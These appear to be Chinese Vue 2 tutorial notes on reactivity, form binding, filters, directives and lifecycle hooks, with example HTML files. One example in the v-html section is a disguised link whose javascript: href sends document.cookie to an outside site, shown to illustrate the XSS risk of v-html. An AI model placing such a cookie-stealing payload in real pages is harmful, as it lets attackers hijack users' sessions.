 5.总结

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue数据监视</title>
		<style>
			button{
				margin-top: 10px;
			}
		</style>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
	<body>

    <!-- 总结:

          Vue监视数据的原理:

              1.vue会监视data中所有层次的数据

              2.如何监测对象中的数据?

                  通过setter实现监视,且要在new Vue时就传入要监测的数据

                    (1)对象中后追加的属性,Vue默认不做响应式处理
                    (2)如需给后添加的属性做响应式,请使用如下API:
                        Vue.set(target,propertyName/index,value)
                        vm.$set(target,propertyName/index,value)
             3. 如何监测数组中的数据?

                  通过包裹数组更新元素的方法实现,本质就是做了两件事:

                      (1)调用原生对应的方法对数组进行更新
                      (2)重新解析模板,进而更新页面
              4.在Vue修改数组中的某个元素一定要用如下方法:

                  (1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
                  (2)Vue.set() 或 vm.$set()
            特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象(data等) 添加属性 -->

		<div id="root">
			<h1>学生信息</h1>
			<button @click="student.age++">年龄+1岁</button><br/>
			<button @click="addSex">添加性别属性,默认值:男</button> <br/>
			<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
			<button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button><br/>
			<button @click="addHobby">添加一个爱好</button> <br/>
			<button @click="updateHobby">修改第一个爱好为:开车</button><br/>
			<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
			<h3>姓名:{{student.name}}</h3>
			<h3>年龄:{{student.age}}</h3>
      <!-- 添加:v-if="student.sex"--是当不设置性别的时候,不出现性别1这个对话 -->
			<h3 v-if="student.sex">性别:{{student.sex}}</h3>
			<h3>爱好:</h3>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h3>朋友们:</h3>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				student:{
					name:'tom',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
          // vm._data.student===this.student
					//Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				},
        // 在首位添加
				addFriend(){
          // friends中的是对象
          // 使用Array中的API
					//响应式,因为有set和get方法
					this.student.friends.unshift({name:'jack',age:70})
				},
				updateFirstFriendName(){
          // this.student.friends[0]=13//可以进行修改,但是Vue不承认
          // this.student.friends[0].name--是对象,所以有get和set
					this.student.friends[0].name = '张三'
				},
				addHobby(){
					this.student.hobby.push('学习')
				},
				updateHobby(){
          // 报错,因为操作了数组
          // this.student.hobby[0]='开车'
          // 方式一:
					this.student.hobby.splice(0,1,'开车')
          // 方式二:
          // this.set(this.student.hobby,0,'开车')
          // 方式三:
          // this.$set(this.student.hobby,0,'开车')
				},
				removeSmoke(){
					//将新的数组代替原来的数组
					this.student.hobby = this.student.hobby.filter((h)=>{
						return h !== '抽烟'
					})
				}
			}
		})
	</script>
</html>

          Vue监视数据的原理:

              1.vue会监视data中所有层次的数据

              2.如何监测对象中的数据?

                  通过setter实现监视,且要在new Vue时就传入要监测的数据

                    (1)对象中后追加的属性,Vue默认不做响应式处理

                    (2)如需给后添加的属性做响应式,请使用如下API:

                        Vue.set(target,propertyName/index,value)

                        vm.$set(target,propertyName/index,value)

             3. 如何监测数组中的数据?

                  通过包裹数组更新元素的方法实现,本质就是做了两件事:

                      (1)调用原生对应的方法对数组进行更新【push等】

                      (2)重新解析模板,进而更新页面

              4.在Vue修改数组中的某个元素一定要用如下方法:

                  (1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

                  (2)Vue.set() 或 vm.$set()

            特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象(data等) 添加属性

15.收集表单数据

 1.type="checkbox"【多选框】

(1)v-model收集的是value值,当需要获取用户输入的value值的时候

      <!-- 因为这里需要获取value值 -->
      学习<input type="checkbox" v-model="hobby" value="study">
      打游戏<input type="checkbox" v-model="hobby" value="game">
      吃饭<input type="checkbox" v-model="hobby" value="eat">
      <br/><br/>

<script type="text/javascript">
  new Vue({
    el:'#root',
    data:{
      // 注意:hobby是一个多选项,所以hobby初始值是数组
      hobby:[],
    },
  })
</script>

 (2)当只需要知道为false还是true的时候

      <!-- 这里不需要获取value,只需要知道是true还是false -->
      <input type="checkbox" v-model="agree">阅读并接受<a href="http://www.baidu.com">《用户协议》</a>


<script type="text/javascript">
  new Vue({
    el:'#root',
    data:{
      agree:''
    },
  })
</script>

注意点:

如果是多选框,则要注意一下几点:

        (1)要给每一个input框添加一个value值

        (2)要将v-model绑定的值设置为数组

2.阻止按钮的默认提交行为

(1)给按钮添加点击事件,并且使用阻止默认行为

      <button @click="submit">提交</button>


<script type="text/javascript">
  new Vue({
    el:'#root',
    data:{
    },
    methods: {
      submit(e){
        e.preventDefault();
      }
    },
  })
</script>

(2)给表单添加一个submit的点击事件

3.要在控制台输出用户输入的全部信息 

(1)直接将_data输出

(2)在dta中将用户输入的信息封装成一个对象,然后直接输出对象即可

 

3.用户输入类型的控制(type="number" v-model.number="game")

      <!-- type="number":用于控制文本框中只能输入number -->
      <!-- v-model.number="userInfo.age":使得收集到为number -->
      <!-- 上面两个同时使用 -->
      年龄:<input type="number" v-model.number="userInfo.age"><br><br>

4.延迟收集(v-model.lazy="userInfo.other")

 5.去除前后的空格(v-model.trim="userInfo.account")

 6.总结

16.过滤器

过滤器可以对前面你写的数据进行按照某种形式加工处理

 1.引入day.js

dayjs (v1.11.7) - Day.js 是一个轻量的处理时间和日期的 JavaScript 库,和 Moment.js 的 API 设计保持完全一样. 如果您曾经用过 Moment.js, 那么您已经知道如何使用 Day.js | BootCDN - Bootstrap 中文网开源项目免费 CDN 加速服务

将其下载下来

  <script type="text/javascript" src="./dayjs.min.js"></script>

2.使用计算属性格式化时间

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>收集表单数据</title>
  <script type="text/javascript" src="./js/vue.js"></script>
  <script type="text/javascript" src="./dayjs.min.js"></script>
</head>

<body>
  <div id="root">
    <h2>显示格式化后的时间</h2>
    <!-- 使用计算属性格式化时间 -->
    <h3>现在是:{{fmtTime}}</h3>
  </div>
</body>
<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      time:1677890911030 //时间戳
    },
    computed: {
      fmtTime(){
        return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
      }
    },
  })
</script>

</html>

3.提供methods实现格式化时间

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>收集表单数据</title>
  <script type="text/javascript" src="./js/vue.js"></script>
  <script type="text/javascript" src="./dayjs.min.js"></script>
</head>

<body>
  <div id="root">
    <h2>显示格式化后的时间</h2>
    <!-- methods实现格式化时间 -->
    <!-- 因为是方法,所以记得小括号 -->
    <h3>现在是:{{getFmtTime()}}</h3>
  </div>
</body>
<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      time:1677890911030 //时间戳
    },
    methods: {
      getFmtTime(){
        return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
      }
    },
  })
</script>

</html>

4.提供过滤器实现格式化时间

(1)带参数的过滤器

    <!-- 过滤器实现 -->
    <!-- 不带参数的 -->
    <h3>现在是:{{time | timeformater}}</h3>
    <!-- 带参数的 -->
    <h3>现在是:{{time | timeformater('YYYY-MM-DD')}}</h3>


    filters:{
      // 过滤器的本质是一个函数
      // 这里写str的初始值是为了以防timeformater没有传入参数的
      timeformater(value,str='YYYY-MM-DD'){
        // 这个value指的是time
        console.log('@',value);
        // return 'hello'
        return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
      }
    }

 (2)多个过滤器的串联使用

注意点:time是一个一个传的,不会直接给mySlice 

    <h3>现在是:{{time | timeformater('YYYY-MM-DD') | mySlice}}</h3>

    filters:{
      // 过滤器的本质是一个函数
      // 这里写str的初始值是为了以防timeformater没有传入参数的
      timeformater(value,str='YYYY-MM-DD'){
        // 这个value指的是time
        console.log('@',value);
        // return 'hello'
        return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
      },
      mySlice(value,str='YYYY-MM-DD'){
        // 截取前4位
        return value.slice(0,4)
      }
    }

5.局部过滤器(只能在当前vm中使用)

 6.全局过滤器【Vue.filter()】

注意点:是filter不是filters

        必须写在new实例之前

  // 全局过滤器
  Vue.filter('mySlice',function(value){
        // 截取前4位
        return value.slice(0,4)
  })

 7.动态绑定中使用过滤器

 8.注意点

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>收集表单数据</title>
  <script type="text/javascript" src="./js/vue.js"></script>
  <script type="text/javascript" src="./dayjs.min.js"></script>
</head>

<body>

  <!-- 过滤器:

    1.定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

    2.语法:

        (1)注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}

        (2)使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"

    备注:

        1.过滤器可以接收额外参数,多个过滤器也可以串联
        2.并没有改变原本的数据,而是产生新的对应的数据 -->

  <div id="root">
    <h2>显示格式化后的时间</h2>
    <!-- 使用计算属性格式化时间 -->
    <h3>现在是:{{fmtTime}}</h3>
    <!-- methods实现格式化时间 -->
    <!-- 因为是方法,所以记得小括号 -->
    <h3>现在是:{{getFmtTime()}}</h3>
    <!-- 过滤器实现 -->
    <!-- 不带参数的 -->
    <h3>现在是:{{time | timeformater}}</h3>
    <!-- 带参数的 -->
    <h3>现在是:{{time | timeformater('YYYY-MM-DD') | mySlice}}</h3>
  </div>

  <div id="root2">
    <h1>{{msg}}</h1>
    <h2 :x="message | mySlice">动态绑定中使用过滤器</h2>
  </div>


</body>
<script type="text/javascript">
  Vue.config.productionsTip=false
  // 全局过滤器
  Vue.filter('mySlice',function(value){
        // 截取前4位
        return value.slice(0,4)
  })
  const vm1=new Vue({
    el: '#root',
    data: {
      time:1677890911030, //时间戳
      message:'您好'
    },
    computed: {
      fmtTime(){
        return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
      }
    },
    methods: {
      getFmtTime(){
        return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
      }
    },
    // 局部过滤器
    filters:{
      // 过滤器的本质是一个函数
      // 这里写str的初始值是为了以防timeformater没有传入参数的
      timeformater(value,str='YYYY-MM-DD'){
        // 这个value指的是time
        console.log('@',value);
        // return 'hello'
        return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
      },
      mySlice(value,str='YYYY-MM-DD'){
        // 截取前4位
        return value.slice(0,4)
      }
    }
  })

  const vm2=new Vue({
    el:'#root2',
    data:{
      msg:'hello'
    }
  })

</script>



</html>

filter只能在插值语法和v-bind中使用,不能再v-model中使用

过滤器产生的是一个新的结果,记得要重新赋值

 

 17.内置指令(其他)

1.v-text:替换了节点中的内容

    之前学过的指令:

      v-bind:单向绑定解析表达式,可简写为:

      v-model:双向数据绑定

      v-for:遍历数组 / 对象 / 字符串

      v-on:绑定事件监听,可简写为@

      v-if:条件渲染(动态控制节点是否存存在)

      v-else:条件渲染(动态控制节点是否存存在)

      v-show:条件渲染 (动态控制节点是否展示)

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>收集表单数据</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>

  <!-- 
    之前学过的指令:

      v-bind:单向绑定解析表达式,可简写为:
      v-model:双向数据绑定
      v-for:遍历数组 / 对象 / 字符串
      v-on:绑定事件监听,可简写为@
      v-if:条件渲染(动态控制节点是否存存在)
      v-else:条件渲染(动态控制节点是否存存在)
      v-show:条件渲染 (动态控制节点是否展示)

  v-text指令:

    作用:向其所在的节点中渲染文本内容

    与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。 -->

  <div id="root">
    <div>{{name}}</div>
    <div v-text="name"></div>
    <div v-text="str"></div>
  </div>



</body>
<script type="text/javascript">
  Vue.config.productionsTip=false
  const vm1=new Vue({
    el: '#root',
    data: {
      name:'小坤',
      str:'<h3>您好</h3>'
    }
  })

</script>



</html>

  

 v-text指令:

    作用:向其所在的节点中渲染文本内容

        注意点:v-text不会解析标签

    与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

2.v-html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>收集表单数据</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>

  

  <div id="root">
    <!-- 可以解析标签 -->
    <div v-html="str"></div>
    <!-- 不可以解析标签 -->
    <div v-text="str"></div>
  </div>



</body>
<script type="text/javascript">
  Vue.config.productionsTip=false
  // 全局过滤器
  Vue.filter('mySlice',function(value){
        // 截取前4位
        return value.slice(0,4)
  })
  const vm1=new Vue({
    el: '#root',
    data: {
      name:'小坤',
      str:'<h3>您好</h3>'
    }
  })

</script>



</html>

(1)安全性问题(cookie)

 

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<div>Hello,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'JOJO',
				str:'<h3>你好啊!</h3>',
        // document.cookie:获取当前网站是所有cookie
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>
</html>

 2.总结

3.v-cloak :当网络较慢的时候,不让未解析的再页面上显示

 

 总结

 3.v-once

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<script type="text/javascript" src="./js/vue.min.js"></script>
	</head>
	<body>

    <!-- v-once指令:

      1.v-once所在节点在初次动态渲染后,就视为静态内容了

      2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能 -->

		<div id="root">
			<h2 v-once>n初始化的值是:{{n}}</h2>
            <h2>n现在的值是:{{n}}</h2>
            <button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false 
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

 v-once指令:

      1.v-once所在节点在初次动态渲染后,就视为静态内容了

      2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

 4.v-pre(Vue不解析)

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
	<body>

    <!-- v-pre指令:

      1.跳过其所在节点的编译过程。
      2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译 -->

		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

v-pre指令:

      1.跳过其所在节点的编译过程。

     2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译

18.自定义指令:directives:{}

1.函数式:函数名字(获取要进行操作的DOM元素,binding)

<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>自定义指令</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>
<!-- 
		需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
	-->

<body>
  <div id="root">
    <h2>当前的n值是:<span v-text="n"></span> </h2>
    <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
    <button @click="n++">点我n+1</button>
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false

  new Vue({
    el: '#root',
    data: {
      n: 1
    },
    directives: {
      //big函数何时会被调用?1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
      // element:获取真实的DOM元素
      // binding:是一个对象,里面包含value
      big(element, binding) {
        // console.log(element,binding);
        console.log('big', this) //注意此处的this是window
        element.innerText = binding.value * 10
      }
    }
  })
</script>

</html>

 2.对象式

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
    <!-- 
		需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
	-->
	<body>
		<div id="root">
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				n:1
			},
			directives:{
        // 如果fbind是一个函数,则无法解决问题
        // 因为fbind被调用的情况只有2种:1.指令与元素成功绑定时(一上来)【bind】 2.指令所在的模板被重新解析时【update】
        // 所以将fbind写为对象
        // fbind中必须出现的3个函数[名字不能改变]
				fbind:{
					//指令与元素成功绑定时(一上来)
          // element指的是input
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		})
	</script>
</html>

3.注意点

1.当指令名字出现“-”的时候:在directives中要加单引号

<h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>

    directives: {
      //big函数何时会被调用?1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
       'big-number'(element, binding) {
         console.log('big', this) //注意此处的this是window
         element.innerText = binding.value * 10
       }
      }

 2.指令中的this都是window

3.全局指令:Vue.directive(‘函数名',{}) 

  // 全局指令
  Vue.directive('fbind2', {
    //指令与元素成功绑定时(一上来)
    bind(element, binding) {
      console.log('fbind-bind', this);  //window
      element.value = binding.value
    },
    //指令所在元素被插入页面时
    inserted(element, binding) {
      console.log('fbind-inserted', this);  //window
      element.focus()
    },
    //指令所在的模板被重新解析时
    update(element, binding) {
      console.log('fbind-update', this);  //window
      element.value = binding.value
    }
  })

4.总结

1.自定义指令定义语法

         1.局部指令:

 new Vue({															
 	directives:{指令名:配置对象}   
 }) 		
 new Vue({															
 	directives:{指令名:回调函数}   
 }) 	

        2.全局指令:

  1. Vue.directive(指令名,配置对象)
  2. Vue.directive(指令名,回调函数)
Vue.directive('fbind',{
	//指令与元素成功绑定时(一上来)
	bind(element,binding){
		element.value = binding.value
	},
    //指令所在元素被插入页面时
    inserted(element,binding){
    	element.focus()
    },
    //指令所在的模板被重新解析时
    update(element,binding){
    	element.value = binding.value
    }
})

2.配置对象中常用的3个回调函数:

  1. bind(element,binding):指令与元素成功绑定时调用
  2. inserted(element,binding):指令所在元素被插入页面时调用
  3. update(element,binding):指令所在模板结构被重新解析时调用

 3.备注:

  1. 指令定义时不加“v-”,但使用时要加“v-”

  2. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名

new Vue({
	el:'#root',
	data:{
		n:1
	},
	directives:{
		'big-number'(element,binding){
			element.innerText = binding.value * 10
		}
	}
})

19.Vue生命周期

1.引出生命周期

1.通过外部的定时器实现(不推荐)

<script type="text/javascript">
  Vue.config.productionTip = false

  const vm=new Vue({
    el: '#root',
    data: {
      opacity: 1
    },
  })

  // 通过外部的定时器实现(不推荐)
  setInterval(()=>{
    vm.opacity-=0.01
    if(vm.opacity<=0)
    vm.opacity=1
  })
</script>

2.引出mounted函数

    // Vue完成模板的解析并把【初始】真实的DOM元素放入页面后(挂载完毕)调用mounted
    mounted() {
      //  console.log('mounted');
      // setInterval中的this指的是window,但是往外找是mounted,应该是vm
      setInterval(() => {
        this.opacity -= 0.01
        if (this.opacity <= 0)
          this.opacity = 1
      })
    },

生命周期:

      (1)又名:生命周期回调函数、生命周期函数、生命周期钩子

      (2)是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数

      (3)生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的

      (4)生命周期函数中的this指向是vm 或 组件实例对象

2.生命周期挂载流程

1.当不获取el的时候 

 

 2.把DOM元素写入template

 

<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>自定义指令</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2>当前的n值是:{{n}}</h2>
    <button @click="add">点我n+1</button>
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false

  new Vue({
    el: '#root',
    // template:
    //   `   
    // <div>
    //   <h2>当前的n值是:{{n}}</h2>
    //   <button @click="add">点我n+1</button>
    // </div>
    // `,
    data: {
      n: 0
    },
    methods: {
      add() {
        this.n++
      }
    },
    // 无法获取data和methods
    beforeCreate() {
      console.log('beforeCreate');
      // console.log(this);//vm
      // debugger
    },

    // 获取data和methods,并且进行数据监测和数据代理
    created() {
      console.log('created');
      // console.log(this);//vm
    },
    // 页面呈现的是未经过Vue变量的DOM结构
    // 存在内存中
    beforeMount() {
      console.log('beforeMount');
    },
    // Vue完成模板的解析并把【初始】真实的DOM元素放入页面后(挂载完毕)调用mounted
    // 将内存中的虚拟DOM转为真正的DOM(经过Vue编译的DOM)
    // 对DOM的操作均有效,但是尽可能避免
    mounted() {
      console.log('mounted');
    },
  })
</script>

</html>

 3.生命周期更新流程

<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>生命周期</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2>当前的n值是:{{n}}</h2>
    <button @click="add">点我n+1</button>
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false

  new Vue({
    el: '#root',
    // template:
    //   `   
    // <div>
    //   <h2>当前的n值是:{{n}}</h2>
    //   <button @click="add">点我n+1</button>
    // </div>
    // `,
    data: {
      n: 0
    },
    methods: {
      add() {
        this.n++
      }
    },
    // 此时数据是新的,但是页面是旧的
    beforeUpdate() {
      console.log('beforeUpdate');
    },
    // 此时数据是新的,页面也更新了
    updated() {
      console.log('updated');
    },
  })
</script>

</html>

 4.生命周期的销毁流程

在beforeDestroy 可以调用到data,methods,但是对数据的修改不起作用

    // 此时vm中所有的data,methods,指令等还是可以使用的,但是实际上数据并不会被更新
    // 此时:关闭定时器,取消订阅,解绑自定义事件
    beforeDestroy() {
      console.log('befoeDestroy');
    },
<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>生命周期</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2>当前的n值是:{{n}}</h2>
    <button @click="add">点我n+1</button>
    <button @click="bye">点我销毁</button>
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false

  new Vue({
    el: '#root',
    data: {
      n: 0
    },
    methods: {
      add() {
        this.n++
      },
      bye(){
        console.log('bey');
      }
    },
    // 此时vm中所有的data,methods,指令等还是可以使用的,但是实际上数据并不会被更新
    // 此时:关闭定时器,取消订阅,解绑自定义事件
    beforeDestroy() {
      console.log('befoeDestroy');
    },
    // 此时,vm上的与组件的联系断开,并且事件监听器也断开
    destroyed() {
      console.log('destoryed');
    },
  })
</script>

</html>

5.总结

完整视频:052_尚硅谷Vue技术_生命周期_总结_哔哩哔哩_bilibili

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
	<body>
<!-- 
    常用的生命周期钩子:

      1.mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作

      2.beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾工作

    关于销毁Vue实例:

          1.销毁后借助Vue开发者工具看不到任何信息

          2.销毁后自定义事件会失效,但原生DOM事件依然有效

          3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了 -->


		<div id="root">
			<h2 :style="{opacity}">欢迎学习Vue</h2>
			<button @click="opacity = 1">透明度设置为1</button>
			<button @click="stop">点我停止变换</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false 

		 new Vue({
			el:'#root',
			data:{
				opacity:1
			},
			methods: {
				stop(){
          // 直接清除(暴力)
					this.$destroy()
				}
			},
			mounted(){
				console.log('mounted',this)
				this.timer = setInterval(() => {
					console.log('setInterval')
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
      // 在清除vm之前,先将定时器清除
      // 为什么将这个写在beforeDestroy中,因为如果在destory中写,不知道是“他杀”还是“自杀”
      // 但是无论是什么“杀”,都要经过beforeDestroy
			beforeDestroy() {
				clearInterval(this.timer)
				console.log('vm即将驾鹤西游了')
			},
		})
	</script>
</html>

常用的生命周期钩子:

  1. mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作

  2. beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾工作

关于销毁Vue实例:

  1. 销毁后借助Vue开发者工具看不到任何信息

  2. 销毁后自定义事件会失效,但原生DOM事件依然有效

  3. 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值